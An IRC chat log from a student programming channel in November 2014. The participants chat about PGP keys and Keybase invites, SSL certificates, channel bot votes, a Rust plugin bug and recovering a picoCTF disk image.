[2014-11-23T18:21:40-0500] <+Tamini> pls bb
[2014-11-23T18:21:40-0500] <failedxyz> and missed AIME by 1 point each time
[2014-11-23T18:21:42-0500] <failedxyz> lol
[2014-11-23T18:21:44-0500] <unitedjaymo> LOL
[2014-11-23T18:21:49-0500] <alokpathy> I can't make AMC 
[2014-11-23T18:21:52-0500] <+Tamini> jjjjjjjjjjjj
[2014-11-23T18:21:59-0500] <+Tamini> Darn jay
[2014-11-23T18:22:07-0500] <+Tamini> you should've come a few days ago
[2014-11-23T18:22:11-0500] <+Tamini> one guy took the nick j
[2014-11-23T18:22:11-0500] <unitedjaymo> what
[2014-11-23T18:22:15-0500] <unitedjaymo> nick j?
[2014-11-23T18:22:15-0500] <+Tamini> it would've been hella confusing
[2014-11-23T18:22:18-0500] <+Tamini> also pls relink
[2014-11-23T18:22:38-0500] <unitedjaymo> on ffb?
[2014-11-23T18:22:42-0500] JacobEdelman is now known as diff
[2014-11-23T18:22:50-0500] <@awe> [18:01:22]  <nezorg>	I don’t have a well-known public key
[2014-11-23T18:22:53-0500] <@awe> nezorg: for real?
[2014-11-23T18:22:56-0500] <@awe> nezorg: I do.
[2014-11-23T18:23:02-0500] <@awe> nezorg: https://keybase.io/awe
[2014-11-23T18:23:07-0500] <@awe> nezorg: want an invite?
[2014-11-23T18:23:08-0500] <nezorg> awe: ewww keybase
[2014-11-23T18:23:11-0500] <nezorg> I have an account
[2014-11-23T18:23:16-0500] <nezorg> but am really not a fan
[2014-11-23T18:23:18-0500] <@awe> Why not?
[2014-11-23T18:23:30-0500] <+Tamini> unitedjaymo: on pdgn
[2014-11-23T18:23:42-0500] <unitedjaymo> nawh
[2014-11-23T18:23:57-0500] <failedxyz> lol i love those people on the pico irc who use the nickname like "the"
[2014-11-23T18:23:58-0500] <nezorg> nezorg: just seems a little fishy… I can’t quite remember why off the top of my head
[2014-11-23T18:24:02-0500] <failedxyz> so whenever you type a normal sentence
[2014-11-23T18:24:10-0500] <@awe> nezorg: is it the fact that you can keep your keys on their server?
[2014-11-23T18:24:12-0500] <@awe> nezorg: because I don't do that.
[2014-11-23T18:24:31-0500] <nezorg> awe: don’t remember, though I’d certainly not do that :P
[2014-11-23T18:24:51-0500] <@awe> I haven't found anything fishy about it. It's very well put together.
[2014-11-23T18:25:04-0500] <nezorg> maybe I’ll do it then
[2014-11-23T18:25:17-0500] <nezorg> and actually I could use an invite since my account is under my old username
[2014-11-23T18:25:18-0500] <+Tamini> lol
[2014-11-23T18:25:24-0500] <+Tamini> i have some
[2014-11-23T18:25:27-0500] <+Tamini> awe has some
[2014-11-23T18:25:29-0500] <+Tamini> take your pick
[2014-11-23T18:25:47-0500] <unitedjaymo> awe has some
[2014-11-23T18:25:49-0500] <unitedjaymo> awesome
[2014-11-23T18:26:00-0500] <failedxyz> lol
[2014-11-23T18:26:04-0500] <nezorg> Tamini: awe: when I meet up with you we should sign each other’s keys
[2014-11-23T18:26:06-0500] <nezorg> like ubernerds
[2014-11-23T18:26:09-0500] <+Tamini> LOL
[2014-11-23T18:26:13-0500] <+Tamini> omg yes we need to have. a
[2014-11-23T18:26:15-0500] failedxyz is now known as e
[2014-11-23T18:26:16-0500] <+Tamini> keysigning party irl
[2014-11-23T18:26:19-0500] <e> wait
[2014-11-23T18:26:24-0500] <e> does it have to be whole word
[2014-11-23T18:26:25-0500] <e> shit
[2014-11-23T18:26:27-0500] <+Tamini> also nezorg once you keybase
[2014-11-23T18:26:38-0500] e is now known as failedxyz
[2014-11-23T18:26:39-0500] <+Tamini> we have to send each other really trivial emails with pgp encryption
[2014-11-23T18:26:42-0500] <failedxyz> :s
[2014-11-23T18:26:47-0500] <+Tamini> like super hipsters
[2014-11-23T18:26:53-0500] <nezorg> Tamini: of course, that’s the only real reason for pgp
[2014-11-23T18:27:05-0500] <+Tamini> <3
[2014-11-23T18:29:39-0500] <failedxyz> wait i have a question about SSL certificates
[2014-11-23T18:29:48-0500] <failedxyz> where do i get them
[2014-11-23T18:29:53-0500] <failedxyz> how much $$$
[2014-11-23T18:30:06-0500] <nezorg> if you can wait until Q2 2015, for free from letsencrypt
[2014-11-23T18:30:31-0500] <failedxyz> i can wait until next week
[2014-11-23T18:31:00-0500] <+Tamini> wait really
[2014-11-23T18:31:00-0500] <+Tamini> damn
[2014-11-23T18:31:10-0500] <nezorg> then use startssl if you want it for free
[2014-11-23T18:31:15-0500] <nezorg> but they kinda suck
[2014-11-23T18:31:18-0500] <+Tamini> and lol nezorg i'm going to pull a teenage girl for a sec and snap you pictures of food
[2014-11-23T18:31:26-0500] <nezorg> …fantastic
[2014-11-23T18:31:28-0500] <failedxyz> lol
[2014-11-23T18:31:41-0500] <failedxyz> why does it suck
[2014-11-23T18:32:13-0500] <nezorg> they never sent me an email for me to verify my account…
[2014-11-23T18:32:19-0500] <nezorg> but it apparently usually works
[2014-11-23T18:32:22-0500] <nezorg> so maybe I fucked up
[2014-11-23T18:32:46-0500] <+Tamini> "usually"?
[2014-11-23T18:33:10-0500] <nezorg> well people use it
[2014-11-23T18:34:28-0500] <nezorg> Tamini: could you send me a keybase invite plz
[2014-11-23T18:34:41-0500] <@awe> They're not bad.
[2014-11-23T18:34:46-0500] <@awe> nezorg: I can
[2014-11-23T18:34:50-0500] <@awe> failedxyz: StartSSL is just fine.
[2014-11-23T18:34:52-0500] <nezorg> alright thanks
[2014-11-23T18:34:53-0500] <@awe> failedxyz: You're using it right now.
[2014-11-23T18:34:58-0500] <@awe> failedxyz: This server has a StartSSL cert.
[2014-11-23T18:35:14-0500] <failedxyz> oh
[2014-11-23T18:35:15-0500] <@awe> nezorg: pm me email pls?
[2014-11-23T18:35:16-0500] <failedxyz> i see
[2014-11-23T18:35:57-0500] <+Tamini> nezorg: LOL
[2014-11-23T18:36:03-0500] <+Tamini> you are my new favorite person
[2014-11-23T18:36:07-0500] <+Tamini> also did awe already get you?
[2014-11-23T18:36:09-0500] <nezorg> thanks <3
[2014-11-23T18:36:10-0500] <nezorg> yeah
[2014-11-23T18:36:16-0500] <+Tamini> aight chill
[2014-11-23T18:36:21-0500] <+Tamini> you should shoot me an email :P
[2014-11-23T18:36:35-0500] <nezorg> will do
[2014-11-23T18:36:40-0500] <nezorg> I don’t have to gen a new key, right?
[2014-11-23T18:37:21-0500] <+Tamini> i dont think so
[2014-11-23T18:37:33-0500] <+Tamini> also i should probably verify github
[2014-11-23T18:37:51-0500] <nezorg> oops
[2014-11-23T18:37:58-0500] <nezorg> looks like I’ve lost my old key :C
[2014-11-23T18:38:02-0500] <+Tamini> darn :(
[2014-11-23T18:38:05-0500] • nezorg: is stupid with private keys
[2014-11-23T18:38:17-0500] <nezorg> should probably back this one up somewhere safe
[2014-11-23T18:38:49-0500] diff is now known as JacobEdelman
[2014-11-23T18:39:01-0500] <+Tamini> yeah, that usually what you do with private keys
[2014-11-23T18:39:43-0500] <nezorg> “Security: your keybase.io passphrase is not sent to Keybase's servers. It's salted & stretched with scrypt, in the browser.” uhhhhhhh what?
[2014-11-23T18:39:58-0500] <nezorg> oh
[2014-11-23T18:40:02-0500] <nezorg> for joining, that makes sense
[2014-11-23T18:40:04-0500] <nezorg> nvm then
[2014-11-23T18:40:08-0500] <nezorg> interesting though
[2014-11-23T18:41:20-0500] <+Tamini> darn i need to get home for this
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[2014-11-23T18:41:45-0500] <+Tamini> also i have a super hipster 3 letter username for keybase
[2014-11-23T18:42:35-0500] <nezorg> hmmm
[2014-11-23T18:42:40-0500] <nezorg> wondering about renaming my github account
[2014-11-23T18:43:08-0500] <+Tamini> what is it rn?
[2014-11-23T18:43:11-0500] <+Tamini> jmgrosen?
[2014-11-23T18:43:31-0500] <nezorg> yeah
[2014-11-23T18:43:42-0500] <nezorg> what do you think of the name nezorg?
[2014-11-23T18:43:50-0500] <nezorg> is it alright?
[2014-11-23T18:45:20-0500] <+Tamini> yeaa
[2014-11-23T18:45:22-0500] <+Tamini> i like it
[2014-11-23T18:45:23-0500] <+Tamini> :P
[2014-11-23T18:54:11-0500] <nezorg> I feel like I need an airgapped machine
[2014-11-23T18:55:17-0500] <nezorg> and also buy a smartcard
[2014-11-23T18:55:44-0500] <+Tamini> you need a lot of thigs
[2014-11-23T18:55:47-0500] <+Tamini> things* :P
[2014-11-23T18:55:50-0500] <+Tamini> did you keybase yet
[2014-11-23T18:55:58-0500] <nezorg> well I have an account
[2014-11-23T18:56:07-0500] <nezorg> but am thinking about how to gen the keys
[2014-11-23T18:56:26-0500] <+Tamini> ooh
[2014-11-23T18:57:12-0500] <nezorg> I can’t find any smartcards that support ecc :’(
[2014-11-23T19:00:39-0500] <nezorg> but I guess it should be rsa anyway since gpg 2.1 just came out
[2014-11-23T19:03:06-0500] <+Tamini> aww
[2014-11-23T19:03:09-0500] <+Tamini> yeah, probably
[2014-11-23T19:03:14-0500] <+Tamini> darn but ecc is so fun
[2014-11-23T19:04:08-0500] <nezorg> also I don’t know what password I should encrypt the keys with
[2014-11-23T19:04:15-0500] <nezorg> memorizing new ones is annoying
[2014-11-23T19:04:22-0500] <nezorg> but I also don’t want to use my master password
[2014-11-23T19:04:29-0500] <nezorg> and I don’t want to put it in my db
[2014-11-23T19:05:46-0500] <+Tamini> lol
[2014-11-23T19:05:58-0500] <+Tamini> i encoded a common password i use
[2014-11-23T19:06:04-0500] <+Tamini> because "good enough"
[2014-11-23T19:08:25-0500] <@LittleBobbyTables> So if we break it we get everything
[2014-11-23T19:11:12-0500] <nezorg> I’ve been thinking about buying a cheap laptop from a black friday sale for use as an airgapped machine
[2014-11-23T19:11:22-0500] <nezorg> I’ve also been thinking that I might be too paranoid…
[2014-11-23T19:12:01-0500] <+Tamini> LOL
[2014-11-23T19:12:03-0500] <+Tamini> a little bit
[2014-11-23T19:12:11-0500] <+Tamini> but there's no such thing as too much security? :P
[2014-11-23T19:14:13-0500] <@LittleBobbyTables> How to do business: Find EZ programs that people are paying for, tell a friend you'll give him money to do this ez script, he does it, you profit
[2014-11-23T19:16:34-0500] <+Tamini> lolol
[2014-11-23T19:16:39-0500] <+Tamini> yes
[2014-11-23T19:16:45-0500] <+Tamini> be the middleman in transactions
[2014-11-23T19:16:58-0500] <@LittleBobbyTables> JacobEdelman: wanna write an ez python script for me
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[2014-11-23T19:34:04-0500] <+Tamini> lol
[2014-11-23T19:34:22-0500] <+Tamini> LittleBobbyTables: JacobEdelman will totally overcharge you
[2014-11-23T19:34:43-0500] <@LittleBobbyTables> Probably, but it'd be less than what I'm getting paid lol
[2014-11-23T19:34:51-0500] <@LittleBobbyTables> Anyway, told him no, too much work
[2014-11-23T19:35:55-0500] <+Tamini> loool
[2014-11-23T19:46:14-0500] <JacobEdelman> so, guys
[2014-11-23T19:46:17-0500] <JacobEdelman> apparentely
[2014-11-23T19:46:23-0500] <JacobEdelman> someone set my usermode or something
[2014-11-23T19:46:31-0500] <JacobEdelman> so I can't see any messages
[2014-11-23T19:46:33-0500] <JacobEdelman> except my own
[2014-11-23T19:46:38-0500] <JacobEdelman> can someone set it back?
[2014-11-23T19:46:45-0500] <JacobEdelman> aka: LittleBobbyTables or awe
[2014-11-23T19:46:51-0500] <@LittleBobbyTables> I wonder if he can read this
[2014-11-23T19:47:05-0500] LittleBobbyTables kicked JacobEdelman from the channel (rejoin?)
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[2014-11-23T19:47:13-0500] <@LittleBobbyTables> Does that work?
[2014-11-23T19:47:23-0500] <JacobEdelman> youre a meany face LBT
[2014-11-23T19:47:29-0500] LittleBobbyTables is now known as DidThatWork
[2014-11-23T19:47:34-0500] DidThatWork is now known as LittleBobbyTables
[2014-11-23T19:47:48-0500] <JacobEdelman> i don't know if it worked
[2014-11-23T19:47:50-0500] <JacobEdelman> say something
[2014-11-23T19:47:54-0500] <@LittleBobbyTables> lel
[2014-11-23T19:47:59-0500] <JacobEdelman> I'm not seeing anything
[2014-11-23T19:48:05-0500] <JacobEdelman> just my self talking
[2014-11-23T19:48:09-0500] <JacobEdelman> laadidadida
[2014-11-23T19:48:15-0500] <JacobEdelman> I'm all by myself
[2014-11-23T19:48:20-0500] <JacobEdelman> my own personal irc channell
[2014-11-23T19:48:27-0500] <+Tamini> lol
[2014-11-23T19:48:31-0500] <+Tamini> guys quicj
[2014-11-23T19:48:37-0500] <+Tamini> say mean things about jacob
[2014-11-23T19:48:45-0500] <@LittleBobbyTables> I heard Jacob is a dummy IRL
[2014-11-23T19:48:55-0500] <@LittleBobbyTables> Do you agree with that, Tamini?
[2014-11-23T19:49:00-0500] <JacobEdelman> contact me on picoctf irc if you wanna chat
[2014-11-23T19:49:06-0500] <JacobEdelman> (or pm me on freenode)
[2014-11-23T19:49:09-0500] <JacobEdelman> and fix this~
[2014-11-23T19:49:11-0500] <JacobEdelman> *!
[2014-11-23T19:50:28-0500] <+Tamini> sure :P
[2014-11-23T19:51:51-0500] <alokpathy> What good clients are there that don't limit you to two servers for free?
[2014-11-23T19:58:53-0500] <@LittleBobbyTables> hexchat, xchat, pidgin, irccloud, mirc
[2014-11-23T20:07:41-0500] <JacobEdelman> LittleBobbyTables: fix it please
[2014-11-23T20:08:59-0500] <Somebody27> I exist!
[2014-11-23T20:09:25-0500] <@LittleBobbyTables> Mibbit just got netsplit hard
[2014-11-23T20:09:34-0500] <Somebody27> Wuh?
[2014-11-23T20:11:34-0500] <alokpathy> LittleBobbyTables: IRCCloud limits you to two servers for the free account
[2014-11-23T20:11:49-0500] <@LittleBobbyTables> Does it?
[2014-11-23T20:11:51-0500] <@LittleBobbyTables> Damn
[2014-11-23T20:12:46-0500] <@LittleBobbyTables> Get money then
[2014-11-23T20:12:54-0500] <Somebody27> idifgdkfghkfjhgkjlsdfhgksdlfg
[2014-11-23T20:15:30-0500] <nezorg> anyone used subkeys in gpg before?
[2014-11-23T20:29:54-0500] <@LittleBobbyTables> What if we use bacon instead of beef in burgers?
[2014-11-23T20:47:30-0500] <alokpathy> No difference to me
[2014-11-23T20:47:46-0500] <@LittleBobbyTables> Why not?
[2014-11-23T20:47:57-0500] <alokpathy> Vegetarian
[2014-11-23T20:47:57-0500] <alokpathy> XD
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[2014-11-23T20:50:02-0500] <@LittleBobbyTables> lol
[2014-11-23T21:04:29-0500] <alokpathy> So
[2014-11-23T21:04:31-0500] <+Tamini> wait nezorg: gimme email
[2014-11-23T21:04:31-0500] <alokpathy> how's life
[2014-11-23T21:04:34-0500] <+Tamini> :O
[2014-11-23T21:04:47-0500] <alokpathy> Anybody up for a game of Resistance?
[2014-11-23T21:19:37-0500] <@LittleBobbyTables> watching inception again
[2014-11-23T21:33:08-0500] JacobEdelman has userhost uid15877@pdgn-dot.9lf.7cuf9e.IP and real name "JacobE"
[2014-11-23T21:33:08-0500] JacobEdelman is connecting from uid15877@charlton.irccloud.com 192.184.9.112
[2014-11-23T21:33:08-0500] JacobEdelman is on ~#resistance #cs ~#picoctf #pdgn #pdgn-revolt #nezorg-fanclub #math ~#study 
[2014-11-23T21:33:09-0500] JacobEdelman is connected on irc.pdgn.co (Pidgeon Company)
[2014-11-23T21:33:09-0500] JacobEdelman is using modes +dx
[2014-11-23T21:33:09-0500] JacobEdelman is using a secure connection
[2014-11-23T21:33:09-0500] JacobEdelman signed on at November 23, 2014 at 8:52:11 AM EST and has been idle for 1 hour, 25 minutes, 27 seconds
[2014-11-23T21:33:22-0500] JacobEdelman has userhost uid15877@pdgn-dot.9lf.7cuf9e.IP and real name "JacobE"
[2014-11-23T21:33:22-0500] JacobEdelman is connecting from uid15877@charlton.irccloud.com 192.184.9.112
[2014-11-23T21:33:22-0500] JacobEdelman is on ~#resistance #cs ~#picoctf #pdgn #pdgn-revolt #nezorg-fanclub #math ~#study 
[2014-11-23T21:33:22-0500] JacobEdelman is connected on irc.pdgn.co (Pidgeon Company)
[2014-11-23T21:33:22-0500] JacobEdelman is using modes +dx
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[2014-11-23T21:33:41-0500] <@awe> I don't know where this +d came from.
[2014-11-23T21:36:53-0500] <+Tamini> !propose oper Tamini
[2014-11-23T21:36:56-0500] <+Tamini> darn
[2014-11-23T21:37:00-0500] <+Tamini> Pidgey: y
[2014-11-23T21:38:36-0500] <@awe> Tamini: it's with a .
[2014-11-23T21:38:36-0500] <@awe> .active
[2014-11-23T21:38:36-0500] <&Pidgey> None
[2014-11-23T21:38:47-0500] <+Tamini> darn
[2014-11-23T21:38:54-0500] <+Tamini> wut?
[2014-11-23T21:38:57-0500] <+Tamini> oh right
[2014-11-23T21:38:58-0500] <alokpathy> .propose oper alokpathy
[2014-11-23T21:38:58-0500] <&Pidgey> You must be voiced to do that.
[2014-11-23T21:39:01-0500] <alokpathy> :(
[2014-11-23T21:39:03-0500] <+Tamini> .propose oper Tamini
[2014-11-23T21:39:03-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T21:39:06-0500] awe sets mode +v alokpathy
[2014-11-23T21:39:13-0500] <+alokpathy> :D
[2014-11-23T21:39:16-0500] <+alokpathy> .propose oper alokpathy 
[2014-11-23T21:39:16-0500] <&Pidgey> Proposal 0 is live.
[2014-11-23T21:39:22-0500] <@awe> .vote 0 nay
[2014-11-23T21:39:22-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T21:39:24-0500] <@awe> erm
[2014-11-23T21:39:28-0500] <+alokpathy> .vote 0 yay
[2014-11-23T21:39:28-0500] <&Pidgey> yay is not a valid vote.
[2014-11-23T21:39:31-0500] <+alokpathy> .vote 0 yea
[2014-11-23T21:39:31-0500] <&Pidgey> Vote issued.
[2014-11-23T21:40:13-0500] <@awe> .vote 0 nay
[2014-11-23T21:40:13-0500] <&Pidgey> Vote issued.
[2014-11-23T21:40:17-0500] <+alokpathy> :(
[2014-11-23T21:40:18-0500] <+alokpathy> awe: y
[2014-11-23T21:40:33-0500] <@awe> We already have too many opers.
[2014-11-23T21:40:46-0500] <+alokpathy> Tamini: Vote yes
[2014-11-23T21:41:10-0500] <+Tamini> !vote 0 yea
[2014-11-23T21:41:10-0500] <@awe> Why are you guys all so obsessed with starting votes to oper yourselves. .-.
[2014-11-23T21:41:15-0500] <+Tamini> because fun
[2014-11-23T21:41:28-0500] <+Tamini> .vote 0 yea
[2014-11-23T21:41:28-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T21:41:38-0500] <+alokpathy> gosh guys
[2014-11-23T21:41:42-0500] <+alokpathy> now I can't be an oper
[2014-11-23T21:41:49-0500] <+alokpathy> Wait how many people have to vote yes?
[2014-11-23T21:41:59-0500] <@awe> 40% of all voiced people
[2014-11-23T21:42:15-0500] <+alokpathy> So once Tamini does it we're good?
[2014-11-23T21:42:21-0500] <@awe> No
[2014-11-23T21:42:25-0500] <+Tamini> darn
[2014-11-23T21:42:34-0500] <+alokpathy> Oh wait, including ops?
[2014-11-23T21:42:39-0500] <+alokpathy> wait darn
[2014-11-23T21:42:42-0500] <@awe> "voice":["LittleBobbyTables","awe","Hcnsh","hardmath123","Hcnsh","Tamini","sdamashek","alokpathy"]
[2014-11-23T21:42:42-0500] <+alokpathy> aw
[2014-11-23T21:42:50-0500] <+alokpathy> o
[2014-11-23T21:43:00-0500] <@awe> Even though Hcnsh is listed twice.
[2014-11-23T21:43:05-0500] <@awe> That's a bug, he counts twice.
[2014-11-23T21:43:15-0500] <+alokpathy> A swing user
[2014-11-23T21:43:17-0500] <+alokpathy> I need his vote
[2014-11-23T21:43:20-0500] <@awe> But uhh... Yeah. you need 4 yes votes.
[2014-11-23T21:43:28-0500] <@awe> No, his vote only counts once.
[2014-11-23T21:43:33-0500] <+alokpathy> Oh
[2014-11-23T21:43:34-0500] <+alokpathy> darn
[2014-11-23T21:43:37-0500] <@awe> It's just as though there's an extra person who always abstains.
[2014-11-23T21:43:45-0500] <+alokpathy> Darn
[2014-11-23T21:43:54-0500] <+alokpathy> so after Tamini I need two more
[2014-11-23T21:44:01-0500] <+alokpathy> LittleBobbyTables: Vote me into op office plz
[2014-11-23T21:44:05-0500] <+alokpathy> I promise change
[2014-11-23T21:44:14-0500] <+alokpathy> Yes we can
[2014-11-23T21:44:51-0500] <@LittleBobbyTables> .vote 0 no
[2014-11-23T21:44:51-0500] <&Pidgey> You must be identified to do that.
[2014-11-23T21:44:57-0500] <+alokpathy> :(
[2014-11-23T21:45:10-0500] <@LittleBobbyTables> shh movie
[2014-11-23T21:45:16-0500] <+alokpathy> Darn
[2014-11-23T21:45:20-0500] <+alokpathy> no other voice is online
[2014-11-23T21:47:06-0500] <@awe> It shall not pass.
[2014-11-23T21:47:41-0500] <+alokpathy> Noooo
[2014-11-23T21:47:50-0500] <+alokpathy> It shall pass
[2014-11-23T22:10:50-0500] <+Tamini> darn no stop
[2014-11-23T22:10:53-0500] <+Tamini> i wanna oper
[2014-11-23T22:11:10-0500] <@awe> .-.
[2014-11-23T22:11:20-0500] <@awe> This is weird.
[2014-11-23T22:11:29-0500] <@awe> I'm trying to make awebot only reload the library when it's been modified.
[2014-11-23T22:11:39-0500] <@awe> So, I stored the function in a struct called Function with the time it was modified
[2014-11-23T22:11:46-0500] <@awe> it's properly getting inserted into my map: {plugins/libplugin.dylib: fn (server, message) -> IoResult<()> : 1416778467000}
[2014-11-23T22:11:47-0500] <@awe> but
[2014-11-23T22:11:54-0500] <@awe> It's crashing when I do try!((cache[key].process)(server, message.clone()));    
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[2014-11-23T23:09:29-0500] <nezorg> caltech dorms throw the best parties https://www.facebook.com/video.php?v=10201913106548887 https://www.facebook.com/TetrationIsBetter/posts/10201913140669740
[2014-11-23T23:09:34-0500] <nezorg> (courtesy timeroot)
[2014-11-23T23:26:11-0500] <@LittleBobbyTables> alright movie over
[2014-11-23T23:26:12-0500] <@LittleBobbyTables> what i miss
[2014-11-23T23:26:38-0500] <+alokpathy> LittleBobbyTables: vote me into op office
[2014-11-23T23:26:40-0500] <+alokpathy> I promise change
[2014-11-23T23:26:49-0500] <+alokpathy> Yes we can
[2014-11-23T23:27:19-0500] <+alokpathy> pdgn's economy needs significant improvement, and I plan to make every product $0
[2014-11-23T23:27:33-0500] <+alokpathy> so the consumers can prosper 
[2014-11-23T23:33:00-0500] <nezorg> Tamini: I still haven’t made my keys…
[2014-11-23T23:35:27-0500] <+Tamini> indecisive much
[2014-11-23T23:36:21-0500] <+alokpathy> Tamini: nezorg vote me into op office plz
[2014-11-23T23:36:46-0500] <+alokpathy> Oh wait, nezorg can't vote, oops. Sorry.
[2014-11-23T23:36:52-0500] <+Tamini> lol
[2014-11-23T23:36:53-0500] <nezorg> lol
[2014-11-23T23:36:59-0500] <+Tamini> nezorg, identify
[2014-11-23T23:37:06-0500] <nezorg> nyeh
[2014-11-23T23:37:08-0500] <+alokpathy> He needs to be voiced too
[2014-11-23T23:37:18-0500] <@LittleBobbyTables> .votes
[2014-11-23T23:37:22-0500] <+Tamini> we can do that
[2014-11-23T23:37:24-0500] <@LittleBobbyTables> how do see
[2014-11-23T23:37:49-0500] <nezorg> awe: crashing how?
[2014-11-23T23:46:19-0500] <nezorg> emacs 24.4 isn’t compiling, stupid os x :C
[2014-11-23T23:46:49-0500] <@LittleBobbyTables> hey
[2014-11-23T23:46:50-0500] <@LittleBobbyTables> nezorg
[2014-11-23T23:46:55-0500] <@LittleBobbyTables> guess what will compile
[2014-11-23T23:47:04-0500] <nezorg> have you tried?
[2014-11-23T23:47:13-0500] <@LittleBobbyTables> vim
[2014-11-23T23:47:16-0500] <@LittleBobbyTables> vim will compile
[2014-11-23T23:47:22-0500] <nezorg> have you tried?
[2014-11-23T23:47:25-0500] <@LittleBobbyTables> Yeah
[2014-11-23T23:47:33-0500] <@LittleBobbyTables> Well I personally haven't, but awe just got it working.
[2014-11-23T23:47:38-0500] <nezorg> I mean emacs 24.4 compiles fine on most os x
[2014-11-23T23:47:40-0500] <nezorg> just not mine
[2014-11-23T23:47:44-0500] <nezorg> I probably have an old compiler
[2014-11-23T23:47:50-0500] <@LittleBobbyTables> No it's just emacs
[2014-11-23T23:47:55-0500] <nezorg> uh huh
[2014-11-23T23:48:01-0500] <@LittleBobbyTables> try vim
[2014-11-23T23:48:03-0500] <@LittleBobbyTables> It'll work
[2014-11-24T00:17:36-0500] <@LittleBobbyTables> aye nezorg
[2014-11-24T00:17:48-0500] <@LittleBobbyTables> What recovery tool did you use for the .img file?
[2014-11-24T00:17:58-0500] <nezorg> …what .img file?
[2014-11-24T00:18:04-0500] <@LittleBobbyTables> In pico
[2014-11-24T00:18:07-0500] <@LittleBobbyTables> Both last year and this
[2014-11-24T00:18:14-0500] <nezorg> uhhhh
[2014-11-24T00:18:14-0500] <@LittleBobbyTables> Blackhole last year I think?
[2014-11-24T00:18:19-0500] <nezorg> I think we just scraped it ourselves
[2014-11-24T00:18:32-0500] <@LittleBobbyTables> That sounds like a lot of work
[2014-11-24T00:18:43-0500] <nezorg> pretty sure we didn’t use a recovery tool, though
[2014-11-24T00:18:48-0500] <nezorg> I remember both of those being pretty hard :P
[2014-11-24T00:19:44-0500] <@LittleBobbyTables> lol
[2014-11-24T00:19:55-0500] <@LittleBobbyTables> Well if you're scraping it yourself, I would imagine so
[2014-11-24T00:21:44-0500] <+Tamini> nezorg: have you made a key yet?
[2014-11-24T00:21:52-0500] <nezorg> Tamini: nope
[2014-11-24T00:22:02-0500] <nezorg> I think I’m going to try to boot into tails and do it there
[2014-11-24T00:24:03-0500] <+sdamashek> binwalk is good for discovery
[2014-11-24T00:24:11-0500] <+sdamashek> but I just carved it out manually like nezorg 
[2014-11-24T00:25:46-0500] <+Tamini> wow :P
[2014-11-24T00:25:47-0500] <+Tamini> ok
[2014-11-24T00:36:06-0500] <@LittleBobbyTables> Tamini, my sister is coming to visit in a couple of days
[2014-11-24T00:36:25-0500] <+Tamini> nice
[2014-11-24T00:39:58-0500] <@LittleBobbyTables> ^-^
[2014-11-24T00:40:53-0500] <nezorg> I just got an email from a recruiter at raytheon, lol
[2014-11-24T00:40:58-0500] <nezorg> pretty sure it was automated though
[2014-11-24T00:41:16-0500] <@LittleBobbyTables> Whats that
[2014-11-24T00:41:29-0500] <nezorg> …what’s what?
[2014-11-24T00:41:32-0500] <nezorg> raytheon?
[2014-11-24T00:41:41-0500] <@LittleBobbyTables> ya
[2014-11-24T00:41:49-0500] <nezorg> mostly defense contractor
[2014-11-24T00:42:00-0500] <nezorg> this was a guy from their “vulernability research” department though
[2014-11-24T00:42:08-0500] <nezorg> whatever that means
[2014-11-24T00:42:39-0500] <@LittleBobbyTables> You research vulnerabilities
[2014-11-24T00:43:00-0500] <nezorg> I kinda doubt I’d be able to get a clearance, anyway, though :P
[2014-11-24T00:43:14-0500] <@LittleBobbyTables> Try it anyway
[2014-11-24T00:43:21-0500] <@LittleBobbyTables> Makes life so much better
[2014-11-24T00:43:30-0500] <nezorg> eh
[2014-11-24T00:43:35-0500] <nezorg> not really interested in government work anyway
[2014-11-24T00:44:08-0500] <@LittleBobbyTables> waow ok
[2014-11-24T00:44:11-0500] <@LittleBobbyTables> so
[2014-11-24T00:44:17-0500] <@LittleBobbyTables> I found this tool that does image recovery
[2014-11-24T00:44:24-0500] <@LittleBobbyTables> But in order to actually recover it, you need to pay
[2014-11-24T00:44:25-0500] <@LittleBobbyTables> :/
[2014-11-24T00:44:48-0500] <nezorg> very nice, very nice
[2014-11-24T00:45:03-0500] <@LittleBobbyTables> Anyway, get a clearance anyway, even if you don't plan on it
[2014-11-24T00:45:51-0500] <@LittleBobbyTables> plan on government work, that is
[2014-11-24T00:45:53-0500] <nezorg> why?
[2014-11-24T00:46:43-0500] <+Tamini> nezorg: did you apply?
[2014-11-24T00:46:44-0500] <+Tamini> or
[2014-11-24T00:46:44-0500] <@LittleBobbyTables> Other places would find it useful, and if you ever need it for any reason again, the process can either be skipped or sped through
[2014-11-24T00:47:02-0500] <nezorg> Tamini: no
[2014-11-24T00:47:06-0500] <+Tamini> lol government jobs lol
[2014-11-24T00:47:12-0500] <nezorg> pretty much
[2014-11-24T00:47:22-0500] <@LittleBobbyTables> We you do nothing and still get a shitton of money
[2014-11-24T00:49:44-0500] <+Tamini> well i didnt get an email do
[2014-11-24T00:49:45-0500] <+Tamini> so*
[2014-11-24T00:49:47-0500] <+Tamini> </333
[2014-11-24T00:49:56-0500] <nezorg> Tamini: they probably just sent it to the csaw ctf players
[2014-11-24T00:50:12-0500] <+Tamini> stillll
[2014-11-24T00:50:13-0500] <+Tamini> :P
[2014-11-24T00:51:33-0500] <+Tamini> i wish i got recruitment offers pls
[2014-11-24T00:51:38-0500] <nezorg> well I don’t really want a job at raytheon
[2014-11-24T00:52:01-0500] <@LittleBobbyTables> You're not special enough
[2014-11-24T00:52:49-0500] <+Tamini> heh
[2014-11-24T00:52:52-0500] <+Tamini> i just want a job period
[2014-11-24T00:52:53-0500] <+Tamini> :P
[2014-11-24T00:53:02-0500] <+Tamini> preferably a cs related one
[2014-11-24T00:54:03-0500] <@LittleBobbyTables> Don't do regular It
[2014-11-24T00:54:05-0500] <@LittleBobbyTables> IT
[2014-11-24T00:54:39-0500] <+Tamini> i know i cant
[2014-11-24T00:54:44-0500] <+Tamini> :P
[2014-11-24T00:54:51-0500] <+Tamini> i cant deal with people
[2014-11-24T00:55:08-0500] <@LittleBobbyTables> >flag is inside image
[2014-11-24T00:55:08-0500] <@LittleBobbyTables> >can't recover with tool
[2014-11-24T00:55:08-0500] <@LittleBobbyTables> >still get hex data soo... ez
[2014-11-24T00:55:21-0500] <@LittleBobbyTables> Not cause of that, it's cause it's terrible
[2014-11-24T00:56:11-0500] <nezorg> can confirm, am IT director of engineering academy
[2014-11-24T00:56:13-0500] <nezorg> it’s terrible
[2014-11-24T00:56:18-0500] <nezorg> especially since it’s windows
[2014-11-24T01:00:27-0500] <@LittleBobbyTables> I did IT work for like 6 months
[2014-11-24T01:00:31-0500] <@LittleBobbyTables> Was terrible
